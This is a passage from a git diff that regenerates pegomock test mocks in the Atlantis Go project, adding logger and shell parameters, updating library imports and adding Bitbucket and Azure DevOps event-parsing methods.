[]reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*models.ProjectLock) + _params := []pegomock.Param{logger, id} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteLock", _params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*models.ProjectLock) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockDeleteLockCommand) DeleteLocksByPull(repoFullName string, pullNum int) error { +func (mock *MockDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) (int, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockDeleteLockCommand().") } - params := []pegomock.Param{repoFullName, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteLocksByPull", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, repoFullName, pullNum} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteLocksByPull", _params, []reflect.Type{reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 int + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(int) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } func (mock *MockDeleteLockCommand) VerifyWasCalledOnce() *VerifierMockDeleteLockCommand { @@ -66,14 +71,14 @@ func (mock *MockDeleteLockCommand) VerifyWasCalledOnce() *VerifierMockDeleteLock } } -func (mock *MockDeleteLockCommand) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockDeleteLockCommand { +func (mock *MockDeleteLockCommand) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDeleteLockCommand { return &VerifierMockDeleteLockCommand{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockDeleteLockCommand) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDeleteLockCommand { +func (mock *MockDeleteLockCommand) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDeleteLockCommand { return &VerifierMockDeleteLockCommand{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -81,7 +86,7 @@ func (mock *MockDeleteLockCommand) VerifyWasCalledInOrder(invocationCountMatcher } } -func (mock *MockDeleteLockCommand) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockDeleteLockCommand { +func (mock *MockDeleteLockCommand) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDeleteLockCommand { return &VerifierMockDeleteLockCommand{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -91,14 +96,14 @@ func (mock *MockDeleteLockCommand) VerifyWasCalledEventually(invocationCountMatc type VerifierMockDeleteLockCommand struct { mock *MockDeleteLockCommand - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockDeleteLockCommand) DeleteLock(id string) *MockDeleteLockCommand_DeleteLock_OngoingVerification { - params := []pegomock.Param{id} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteLock", params, verifier.timeout) +func (verifier *VerifierMockDeleteLockCommand) DeleteLock(logger logging.SimpleLogging, id string) *MockDeleteLockCommand_DeleteLock_OngoingVerification { + _params := []pegomock.Param{logger, id} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteLock", _params, verifier.timeout) return &MockDeleteLockCommand_DeleteLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -107,25 +112,33 @@ type MockDeleteLockCommand_DeleteLock_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetCapturedArguments() string { - id := c.GetAllCapturedArguments() - return id[len(id)-1] +func (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { + logger, id := c.GetAllCapturedArguments() + return logger[len(logger)-1], id[len(id)-1] } -func (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockDeleteLockCommand_DeleteLock_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } } } return } -func (verifier *VerifierMockDeleteLockCommand) DeleteLocksByPull(repoFullName string, pullNum int) *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification { - params := []pegomock.Param{repoFullName, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteLocksByPull", params, verifier.timeout) +func (verifier *VerifierMockDeleteLockCommand) DeleteLocksByPull(logger logging.SimpleLogging, repoFullName string, pullNum int) *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification { + _params := []pegomock.Param{logger, repoFullName, pullNum} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteLocksByPull", _params, verifier.timeout) return &MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -134,21 +147,31 @@ type MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetCapturedArguments() (string, int) { - repoFullName, pullNum := c.GetAllCapturedArguments() - return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] +func (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string, int) { + logger, repoFullName, pullNum := c.GetAllCapturedArguments() + return logger[len(logger)-1], repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] } -func (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockDeleteLockCommand_DeleteLocksByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string, _param2 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } } } return diff --git a/server/events/mocks/mock_env_step_runner.go b/server/events/mocks/mock_env_step_runner.go index 96f5c4e676..ffa62d3a1c 100644 --- a/server/events/mocks/mock_env_step_runner.go +++ b/server/events/mocks/mock_env_step_runner.go @@ -4,8 +4,9 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" + pegomock "github.com/petergtz/pegomock/v4" + valid "github.com/runatlantis/atlantis/server/core/config/valid" + command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) @@ -25,23 +26,23 @@ func NewMockEnvStepRunner(options ...pegomock.Option) *MockEnvStepRunner { func (mock *MockEnvStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockEnvStepRunner) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockEnvStepRunner) Run(ctx models.ProjectCommandContext, cmd string, value string, path string, envs map[string]string) (string, error) { +func (mock *MockEnvStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, value string, path string, envs map[string]string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEnvStepRunner().") } - params := []pegomock.Param{ctx, cmd, value, path, envs} - result := pegomock.GetGenericMockFrom(mock).Invoke("Run", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{ctx, shell, cmd, value, path, envs} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockEnvStepRunner) VerifyWasCalledOnce() *VerifierMockEnvStepRunner { @@ -51,14 +52,14 @@ func (mock *MockEnvStepRunner) VerifyWasCalledOnce() *VerifierMockEnvStepRunner } } -func (mock *MockEnvStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockEnvStepRunner { +func (mock *MockEnvStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockEnvStepRunner { return &VerifierMockEnvStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockEnvStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEnvStepRunner { +func (mock *MockEnvStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEnvStepRunner { return &VerifierMockEnvStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -66,7 +67,7 @@ func (mock *MockEnvStepRunner) VerifyWasCalledInOrder(invocationCountMatcher peg } } -func (mock *MockEnvStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockEnvStepRunner { +func (mock *MockEnvStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockEnvStepRunner { return &VerifierMockEnvStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -76,14 +77,14 @@ func (mock *MockEnvStepRunner) VerifyWasCalledEventually(invocationCountMatcher type VerifierMockEnvStepRunner struct { mock *MockEnvStepRunner - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockEnvStepRunner) Run(ctx models.ProjectCommandContext, cmd string, value string, path string, envs map[string]string) *MockEnvStepRunner_Run_OngoingVerification { - params := []pegomock.Param{ctx, cmd, value, path, envs} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", params, verifier.timeout) +func (verifier *VerifierMockEnvStepRunner) Run(ctx command.ProjectContext, shell *valid.CommandShell, cmd string, value string, path string, envs map[string]string) *MockEnvStepRunner_Run_OngoingVerification { + _params := []pegomock.Param{ctx, shell, cmd, value, path, envs} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockEnvStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -92,33 +93,49 @@ type MockEnvStepRunner_Run_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockEnvStepRunner_Run_OngoingVerification) GetCapturedArguments() (models.ProjectCommandContext, string, string, string, map[string]string) { - ctx, cmd, value, path, envs := c.GetAllCapturedArguments() - return ctx[len(ctx)-1], cmd[len(cmd)-1], value[len(value)-1], path[len(path)-1], envs[len(envs)-1] +func (c *MockEnvStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, *valid.CommandShell, string, string, string, map[string]string) { + ctx, shell, cmd, value, path, envs := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], shell[len(shell)-1], cmd[len(cmd)-1], value[len(value)-1], path[len(path)-1], envs[len(envs)-1] } -func (c *MockEnvStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectCommandContext, _param1 []string, _param2 []string, _param3 []string, _param4 []map[string]string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.ProjectCommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.ProjectCommandContext) +func (c *MockEnvStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []*valid.CommandShell, _param2 []string, _param3 []string, _param4 []string, _param5 []map[string]string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } } - _param1 = make([]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(string) + if len(_params) > 1 { + _param1 = make([]*valid.CommandShell, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*valid.CommandShell) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } - _param3 = make([]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(string) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } - _param4 = make([]map[string]string, len(c.methodInvocations)) - for u, param := range params[4] { - _param4[u] = param.(map[string]string) + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + if len(_params) > 5 { + _param5 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(map[string]string) + } } } return diff --git a/server/events/mocks/mock_event_parsing.go b/server/events/mocks/mock_event_parsing.go index db5c0ff038..de4df29445 100644 --- a/server/events/mocks/mock_event_parsing.go +++ b/server/events/mocks/mock_event_parsing.go @@ -4,14 +4,16 @@ package mocks import ( + gitea "code.gitea.io/sdk/gitea" + azuredevops "github.com/drmaxgit/go-azuredevops/azuredevops" + github "github.com/google/go-github/v71/github" + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + gitea0 "github.com/runatlantis/atlantis/server/events/vcs/gitea" + logging "github.com/runatlantis/atlantis/server/logging" + client_go "gitlab.com/gitlab-org/api/client-go" "reflect" "time" - - github "github.com/google/go-github/v31/github" - azuredevops "github.com/mcdafydd/go-azuredevops/azuredevops" - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" - go_gitlab "github.com/xanzy/go-gitlab" ) type MockEventParsing struct { @@ -29,432 +31,559 @@ func NewMockEventParsing(options ...pegomock.Option) *MockEventParsing { func (mock *MockEventParsing) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockEventParsing) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockEventParsing) ParseGithubIssueCommentEvent(comment *github.IssueCommentEvent) (models.Repo, models.User, int, error) { +func (mock *MockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{comment} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubIssueCommentEvent", params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.Repo - var ret1 models.User - var ret2 int - var ret3 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.Repo) + _params := []pegomock.Param{eventTypeHeader, sha, pr} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetBitbucketCloudPullEventType", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) + var _ret0 models.PullRequestEventType + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequestEventType) } - if result[1] != nil { - ret1 = result[1].(models.User) + } + return _ret0 +} + +func (mock *MockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockEventParsing().") + } + _params := []pegomock.Param{eventTypeHeader} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetBitbucketServerPullEventType", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) + var _ret0 models.PullRequestEventType + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequestEventType) } - if result[2] != nil { - ret2 = result[2].(int) + } + return _ret0 +} + +func (mock *MockEventParsing) ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) (models.Repo, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockEventParsing().") + } + _params := []pegomock.Param{vcsHostType, path, cloneURL} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAPIPlanRequest", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.Repo + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1, ret2, ret3 + return _ret0, _ret1 } -func (mock *MockEventParsing) ParseGithubPull(ghPull *github.PullRequest) (models.PullRequest, models.Repo, models.Repo, error) { +func (mock *MockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) (models.PullRequest, models.Repo, models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{ghPull} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubPull", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.Repo - var ret2 models.Repo - var ret3 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{adPull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsPull", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.Repo + var _ret2 models.Repo + var _ret3 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[1] != nil { - ret1 = result[1].(models.Repo) + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(error) + if _result[3] != nil { + _ret3 = _result[3].(error) } } - return ret0, ret1, ret2, ret3 + return _ret0, _ret1, _ret2, _ret3 } -func (mock *MockEventParsing) ParseGithubPullEvent(pullEvent *github.PullRequestEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { +func (mock *MockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{pullEvent} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubPullEvent", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.PullRequestEventType - var ret2 models.Repo - var ret3 models.Repo - var ret4 models.User - var ret5 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{pullEvent} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.PullRequestEventType + var _ret2 models.Repo + var _ret3 models.Repo + var _ret4 models.User + var _ret5 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[1] != nil { - ret1 = result[1].(models.PullRequestEventType) + if _result[1] != nil { + _ret1 = _result[1].(models.PullRequestEventType) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(models.Repo) + if _result[3] != nil { + _ret3 = _result[3].(models.Repo) } - if result[4] != nil { - ret4 = result[4].(models.User) + if _result[4] != nil { + _ret4 = _result[4].(models.User) } - if result[5] != nil { - ret5 = result[5].(error) + if _result[5] != nil { + _ret5 = _result[5].(error) } } - return ret0, ret1, ret2, ret3, ret4, ret5 + return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } -func (mock *MockEventParsing) ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) { +func (mock *MockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{ghRepo} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubRepo", params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.Repo - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.Repo) + _params := []pegomock.Param{adRepo} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsRepo", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.Repo + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.Repo) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockEventParsing) ParseGitlabMergeRequestEvent(event go_gitlab.MergeEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { +func (mock *MockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{event} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestEvent", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.PullRequestEventType - var ret2 models.Repo - var ret3 models.Repo - var ret4 models.User - var ret5 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{body} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketCloudPullCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.Repo + var _ret2 models.Repo + var _ret3 models.User + var _ret4 string + var _ret5 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[1] != nil { - ret1 = result[1].(models.PullRequestEventType) + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(models.Repo) + if _result[3] != nil { + _ret3 = _result[3].(models.User) } - if result[4] != nil { - ret4 = result[4].(models.User) + if _result[4] != nil { + _ret4 = _result[4].(string) } - if result[5] != nil { - ret5 = result[5].(error) + if _result[5] != nil { + _ret5 = _result[5].(error) } } - return ret0, ret1, ret2, ret3, ret4, ret5 + return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } -func (mock *MockEventParsing) ParseGitlabMergeRequestCommentEvent(event go_gitlab.MergeCommentEvent) (models.Repo, models.Repo, models.User, error) { +func (mock *MockEventParsing) ParseBitbucketCloudPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{event} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestCommentEvent", params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.Repo - var ret1 models.Repo - var ret2 models.User - var ret3 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.Repo) + _params := []pegomock.Param{body} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketCloudPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.Repo + var _ret2 models.Repo + var _ret3 models.User + var _ret4 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[1] != nil { - ret1 = result[1].(models.Repo) + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) } - if result[2] != nil { - ret2 = result[2].(models.User) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(error) + if _result[3] != nil { + _ret3 = _result[3].(models.User) + } + if _result[4] != nil { + _ret4 = _result[4].(error) } } - return ret0, ret1, ret2, ret3 + return _ret0, _ret1, _ret2, _ret3, _ret4 } -func (mock *MockEventParsing) ParseGitlabMergeRequest(mr *go_gitlab.MergeRequest, baseRepo models.Repo) models.PullRequest { +func (mock *MockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{mr, baseRepo} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequest", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem()}) - var ret0 models.PullRequest - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := 